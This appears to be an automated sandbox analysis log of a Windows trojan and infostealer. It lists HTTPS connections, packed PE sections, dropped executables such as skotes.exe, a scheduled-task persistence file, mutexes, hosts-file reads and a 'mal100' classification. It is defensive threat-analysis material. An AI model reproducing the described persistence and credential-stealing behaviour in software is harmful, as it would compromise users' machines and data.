Source: unknown	Network traffic detected: HTTP traffic on port 49709 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49927 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49822 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49870 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50094
Source: unknown	Network traffic detected: HTTP traffic on port 49983 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49938 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49811 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49754 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50018
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50139
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50017
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50019
Source: unknown	Network traffic detected: HTTP traffic on port 49813 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49951 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49974 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50149 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50032 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50010
Source: unknown	Network traffic detected: HTTP traffic on port 49836 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49916 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50016
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50015
Source: unknown	Network traffic detected: HTTP traffic on port 49939 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50140
Source: unknown	Network traffic detected: HTTP traffic on port 49791 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49753 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50029
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50149
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50142
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50020
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50144
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50022
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50025
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50146
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50024
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50145
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50148
Source: unknown	Network traffic detected: HTTP traffic on port 49780 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49879 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50026
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50147
Source: unknown	Network traffic detected: HTTP traffic on port 49985 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50150
Source: unknown	Network traffic detected: HTTP traffic on port 49905 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49928 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50032
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50153
Source: unknown	Network traffic detected: HTTP traffic on port 49741 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49857 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50034
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50036
Source: unknown	Network traffic detected: HTTP traffic on port 49764 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49940 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49824 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49973 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49891 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49730 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50164
Source: unknown	Network traffic detected: HTTP traffic on port 49835 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49917 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50163
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50045
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50047
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50046
Source: unknown	Network traffic detected: HTTP traffic on port 49880 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49962 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49890 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50145 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49970 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49878 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49912 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49935 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49958 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49889 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49866 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49946 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50018 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49763 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49855 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49981 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49752 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49901 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49924 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49819 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49947 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49793 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49831 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49751 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49774 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49969 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50020 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50054 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49856 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49808 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50006 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49867 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49865 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49942
Source: unknown	Network traffic detected: HTTP traffic on port 49842 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49941
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49940
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 57608
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 57605
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 57606
Source: unknown	Network traffic detected: HTTP traffic on port 49762 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49833 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49819
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49818
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49939
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49938
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49817
Source: unknown	Network traffic detected: HTTP traffic on port 49810 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49816
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49937
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49815
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49936
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49814
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49935
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49813
Source: unknown	Network traffic detected: HTTP traffic on port 49902 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49934
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49812
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49933
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49811
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49932
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49810
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49931
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49930
Source: unknown	Network traffic detected: HTTP traffic on port 49925 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50064 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49971 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 57614
Source: unknown	Network traffic detected: HTTP traffic on port 49794 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49936 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49876 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49960 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49809
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49808
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49929
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49807
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49928
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49806
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49927
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49805
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49926

Source: unknown	HTTPS traffic detected: 184.28.90.27:443 -> 192.168.2.5:49723 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 184.28.90.27:443 -> 192.168.2.5:49730 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 4.245.163.56:443 -> 192.168.2.5:49732 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 13.107.246.45:443 -> 192.168.2.5:49743 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 40.126.31.71:443 -> 192.168.2.5:49750 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 40.126.31.71:443 -> 192.168.2.5:49778 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 13.107.246.45:443 -> 192.168.2.5:49984 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 13.107.246.45:443 -> 192.168.2.5:49990 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 13.107.246.45:443 -> 192.168.2.5:49989 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 52.149.20.212:443 -> 192.168.2.5:49991 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.80.55:443 -> 192.168.2.5:49999 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.80.55:443 -> 192.168.2.5:50001 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.80.55:443 -> 192.168.2.5:50003 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.80.55:443 -> 192.168.2.5:50006 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.80.55:443 -> 192.168.2.5:50010 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.80.55:443 -> 192.168.2.5:50018 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.80.55:443 -> 192.168.2.5:50019 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.80.55:443 -> 192.168.2.5:50020 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.80.55:443 -> 192.168.2.5:50022 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.80.55:443 -> 192.168.2.5:50024 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.80.55:443 -> 192.168.2.5:50025 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.80.55:443 -> 192.168.2.5:50026 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.80.55:443 -> 192.168.2.5:50029 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.80.55:443 -> 192.168.2.5:50032 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.80.55:443 -> 192.168.2.5:50034 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.80.55:443 -> 192.168.2.5:50036 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.80.55:443 -> 192.168.2.5:50083 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.80.55:443 -> 192.168.2.5:50094 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.80.55:443 -> 192.168.2.5:50116 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.80.55:443 -> 192.168.2.5:50139 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.80.55:443 -> 192.168.2.5:50140 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.80.55:443 -> 192.168.2.5:50142 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.80.55:443 -> 192.168.2.5:50144 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.80.55:443 -> 192.168.2.5:50153 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 40.126.31.71:443 -> 192.168.2.5:57614 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 13.89.179.11:443 -> 192.168.2.5:59641 version: TLS 1.2

System Summary

PE file contains section with special chars

Source: file.exe	Static PE information: section name:
Source: file.exe	Static PE information: section name: .rsrc
Source: file.exe	Static PE information: section name: .idata
Source: file.exe	Static PE information: section name:
Source: DocumentsGHIDGDHCGC.exe.0.dr	Static PE information: section name:
Source: DocumentsGHIDGDHCGC.exe.0.dr	Static PE information: section name: .idata
Source: random[1].exe.0.dr	Static PE information: section name:
Source: random[1].exe.0.dr	Static PE information: section name: .rsrc
Source: random[1].exe.0.dr	Static PE information: section name: .idata
Source: random[1].exe.0.dr	Static PE information: section name:
Source: skotes.exe.20.dr	Static PE information: section name:
Source: skotes.exe.20.dr	Static PE information: section name: .idata
Source: 33a9120b78.exe.23.dr	Static PE information: section name:
Source: 33a9120b78.exe.23.dr	Static PE information: section name: .rsrc
Source: 33a9120b78.exe.23.dr	Static PE information: section name: .idata
Source: 33a9120b78.exe.23.dr	Static PE information: section name:
Source: random[1].exe.23.dr	Static PE information: section name:
Source: random[1].exe.23.dr	Static PE information: section name: .rsrc
Source: random[1].exe.23.dr	Static PE information: section name: .idata
Source: random[1].exe.23.dr	Static PE information: section name:
Source: 397a6a3fac.exe.23.dr	Static PE information: section name:
Source: 397a6a3fac.exe.23.dr	Static PE information: section name: .rsrc
Source: 397a6a3fac.exe.23.dr	Static PE information: section name: .idata
Source: 397a6a3fac.exe.23.dr	Static PE information: section name:
Source: random[1].exe0.23.dr	Static PE information: section name:
Source: random[1].exe0.23.dr	Static PE information: section name: .rsrc
Source: random[1].exe0.23.dr	Static PE information: section name: .idata
Source: random[1].exe0.23.dr	Static PE information: section name:
Source: 829de9457d.exe.23.dr	Static PE information: section name:
Source: 829de9457d.exe.23.dr	Static PE information: section name: .rsrc
Source: 829de9457d.exe.23.dr	Static PE information: section name: .idata
Source: 829de9457d.exe.23.dr	Static PE information: section name:
Source: random[2].exe.23.dr	Static PE information: section name:
Source: random[2].exe.23.dr	Static PE information: section name: .idata
Source: 1997b72847.exe.23.dr	Static PE information: section name:
Source: 1997b72847.exe.23.dr	Static PE information: section name: .idata

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process Stats: CPU usage > 49%
Source: C:\Users\user\AppData\Local\Temp\1006449001\33a9120b78.exe	Process Stats: CPU usage > 49%

Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C67B700 NtQueryVirtualMemory,RtlNtStatusToDosError,RtlSetLastWin32Error,	0_2_6C67B700
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C67B8C0 rand_s,NtQueryVirtualMemory,	0_2_6C67B8C0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C67B910 rand_s,NtQueryVirtualMemory,NtQueryVirtualMemory,RtlNtStatusToDosError,RtlSetLastWin32Error,GetLastError,	0_2_6C67B910
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C61F280 NtQueryVirtualMemory,GetProcAddress,NtQueryVirtualMemory,RtlNtStatusToDosError,RtlSetLastWin32Error,	0_2_6C61F280

Source: C:\Users\user\DocumentsGHIDGDHCGC.exe

File created: C:\Windows\Tasks\skotes.job

Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C6135A0	0_2_6C6135A0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C625440	0_2_6C625440
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C68545C	0_2_6C68545C
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C68542B	0_2_6C68542B
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C68AC00	0_2_6C68AC00
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C655C10	0_2_6C655C10
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C662C10	0_2_6C662C10
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C61D4E0	0_2_6C61D4E0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C656CF0	0_2_6C656CF0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C6264C0	0_2_6C6264C0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C63D4D0	0_2_6C63D4D0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C6734A0	0_2_6C6734A0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C67C4A0	0_2_6C67C4A0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C626C80	0_2_6C626C80
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C62FD00	0_2_6C62FD00
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C63ED10	0_2_6C63ED10
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C640512	0_2_6C640512
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C6785F0	0_2_6C6785F0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C650DD0	0_2_6C650DD0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C686E63	0_2_6C686E63
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C61C670	0_2_6C61C670
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C634640	0_2_6C634640
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C662E4E	0_2_6C662E4E
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C639E50	0_2_6C639E50
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C653E50	0_2_6C653E50
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C679E30	0_2_6C679E30
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C665600	0_2_6C665600
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C657E10	0_2_6C657E10
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C6876E3	0_2_6C6876E3
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C61BEF0	0_2_6C61BEF0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C62FEF0	0_2_6C62FEF0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C674EA0	0_2_6C674EA0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C67E680	0_2_6C67E680
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C635E90	0_2_6C635E90
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C629F00	0_2_6C629F00
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C657710	0_2_6C657710
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C61DFE0	0_2_6C61DFE0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C646FF0	0_2_6C646FF0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C6677A0	0_2_6C6677A0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C65F070	0_2_6C65F070
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C638850	0_2_6C638850
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C63D850	0_2_6C63D850
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C65B820	0_2_6C65B820
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C664820	0_2_6C664820
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C627810	0_2_6C627810
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C63C0E0	0_2_6C63C0E0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C6558E0	0_2_6C6558E0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C6850C7	0_2_6C6850C7
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C6460A0	0_2_6C6460A0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C62D960	0_2_6C62D960
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C66B970	0_2_6C66B970
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C68B170	0_2_6C68B170
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C63A940	0_2_6C63A940
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C61C9A0	0_2_6C61C9A0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C64D9B0	0_2_6C64D9B0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C655190	0_2_6C655190
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C672990	0_2_6C672990
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C659A60	0_2_6C659A60
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C631AF0	0_2_6C631AF0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C65E2F0	0_2_6C65E2F0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C658AC0	0_2_6C658AC0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C6122A0	0_2_6C6122A0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C644AA0	0_2_6C644AA0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C62CAB0	0_2_6C62CAB0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C682AB0	0_2_6C682AB0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C68BA90	0_2_6C68BA90
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C62C370	0_2_6C62C370
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C615340	0_2_6C615340
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C65D320	0_2_6C65D320
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C6853C8	0_2_6C6853C8
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C61F380	0_2_6C61F380
Source: C:\Users\user\DocumentsGHIDGDHCGC.exe	Code function: 20_2_00798860	20_2_00798860
Source: C:\Users\user\DocumentsGHIDGDHCGC.exe	Code function: 20_2_00797049	20_2_00797049
Source: C:\Users\user\DocumentsGHIDGDHCGC.exe	Code function: 20_2_007978BB	20_2_007978BB
Source: C:\Users\user\DocumentsGHIDGDHCGC.exe	Code function: 20_2_007931A8	20_2_007931A8
Source: C:\Users\user\DocumentsGHIDGDHCGC.exe	Code function: 20_2_00754B30	20_2_00754B30
Source: C:\Users\user\DocumentsGHIDGDHCGC.exe	Code function: 20_2_00792D10	20_2_00792D10
Source: C:\Users\user\DocumentsGHIDGDHCGC.exe	Code function: 20_2_00754DE0	20_2_00754DE0
Source: C:\Users\user\DocumentsGHIDGDHCGC.exe	Code function: 20_2_00787F36	20_2_00787F36
Source: C:\Users\user\DocumentsGHIDGDHCGC.exe	Code function: 20_2_0079779B	20_2_0079779B
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 21_2_00288860	21_2_00288860
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 21_2_00287049	21_2_00287049
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 21_2_002878BB	21_2_002878BB
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 21_2_002831A8	21_2_002831A8
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 21_2_00244B30	21_2_00244B30
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 21_2_00282D10	21_2_00282D10
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 21_2_00244DE0	21_2_00244DE0
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 21_2_00277F36	21_2_00277F36
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 21_2_0028779B	21_2_0028779B

Source: C:\Users\user\DocumentsGHIDGDHCGC.exe	Code function: String function: 007680C0 appears 130 times
Source: C:\Users\user\Desktop\file.exe	Code function: String function: 6C64CBE8 appears 134 times
Source: C:\Users\user\Desktop\file.exe	Code function: String function: 6C6594D0 appears 90 times
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: String function: 002580C0 appears 130 times

Source: C:\Users\user\AppData\Local\Temp\1006449001\33a9120b78.exe

Process created: C:\Windows\SysWOW64\WerFault.exe C:\Windows\SysWOW64\WerFault.exe -u -p 2460 -s 1256

Source: file.exe, 00000000.00000002.2481863989.000000006C895000.00000002.00000001.01000000.00000009.sdmp	Binary or memory string: OriginalFilenamenss3.dll0 vs file.exe
Source: file.exe, 00000000.00000002.2479926608.000000006C6A2000.00000002.00000001.01000000.0000000A.sdmp	Binary or memory string: OriginalFilenamemozglue.dll0 vs file.exe

Source: file.exe

Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: file.exe	Static PE information: Section: qtucxrez ZLIB complexity 0.9950423361541902
Source: random[1].exe.0.dr	Static PE information: Section: uquybeiu ZLIB complexity 0.994539390312588
Source: 33a9120b78.exe.23.dr	Static PE information: Section: uquybeiu ZLIB complexity 0.994539390312588
Source: random[1].exe.23.dr	Static PE information: Section: ZLIB complexity 0.9992600789249146
Source: random[1].exe.23.dr	Static PE information: Section: jhxiqwys ZLIB complexity 0.9949096191556445
Source: 397a6a3fac.exe.23.dr	Static PE information: Section: ZLIB complexity 0.9992600789249146
Source: 397a6a3fac.exe.23.dr	Static PE information: Section: jhxiqwys ZLIB complexity 0.9949096191556445
Source: random[1].exe0.23.dr	Static PE information: Section: qtucxrez ZLIB complexity 0.9950423361541902
Source: 829de9457d.exe.23.dr	Static PE information: Section: qtucxrez ZLIB complexity 0.9950423361541902

Source: classification engine

Classification label: mal100.troj.spyw.evad.winEXE@145/259@72/31

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_6C677030 GetLastError,FormatMessageA,__acrt_iob_func,__acrt_iob_func,__acrt_iob_func,fflush,LocalFree,

0_2_6C677030

Source: C:\Users\user\Desktop\file.exe

File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\T9RRWRNL\ZYECOH2G.htm

Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\1006465001\1997b72847.exe	Mutant created: NULL
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:9164:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:8124:120:WilError_03
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Mutant created: \Sessions\1\BaseNamedObjects\006700e5a2ab05704bbb0c589b88924d

Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

File created: C:\Users\user\AppData\Local\Temp\e3513690-7abb-4170-a14b-602cc8b37fee.tmp

Jump to behavior

Source: C:\Users\user\Desktop\file.exe

File read: C:\Users\user\Desktop\desktop.ini

Jump to behavior

Source: C:\Users\user\Desktop\file.exe

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\1006449001\33a9120b78.exe	File read: C:\Windows\System32\drivers\etc\hosts
Source: C:\Users\user\AppData\Local\Temp\1006449001\33a9120b78.exe	File read: C:\Windows\System32\drivers\etc\hosts
Source: C:\Users\user\AppData\Local\Temp\1006449001\33a9120b78.exe	File read: C:\Windows\System32\drivers\etc\hosts
Source: C:\Users\user\AppData\Local\Temp\1006449001\33a9120b78.exe	File read: C:\Windows\System32\drivers\etc\hosts

Source: file.exe, 00000000.00000002.2467036058.000000001D57A000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2478779292.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, file.exe, 00000000.00000002.2481247240.000000006C84F000.00000002.00000001.01000000.00000009.sdmp	Binary or memory string: UPDATE %Q.sqlite_master SET tbl_name = %Q, name = CASE WHEN type='table' THEN %Q WHEN name LIKE 'sqliteX_autoindex%%' ESCAPE 'X' AND type='index' THEN 'sqlite_autoindex_' \|\| %Q \|\| substr(name,%d+18) ELSE name END WHERE tbl_name=%Q COLLATE nocase AND (type='table' OR type='index' OR type='trigger');
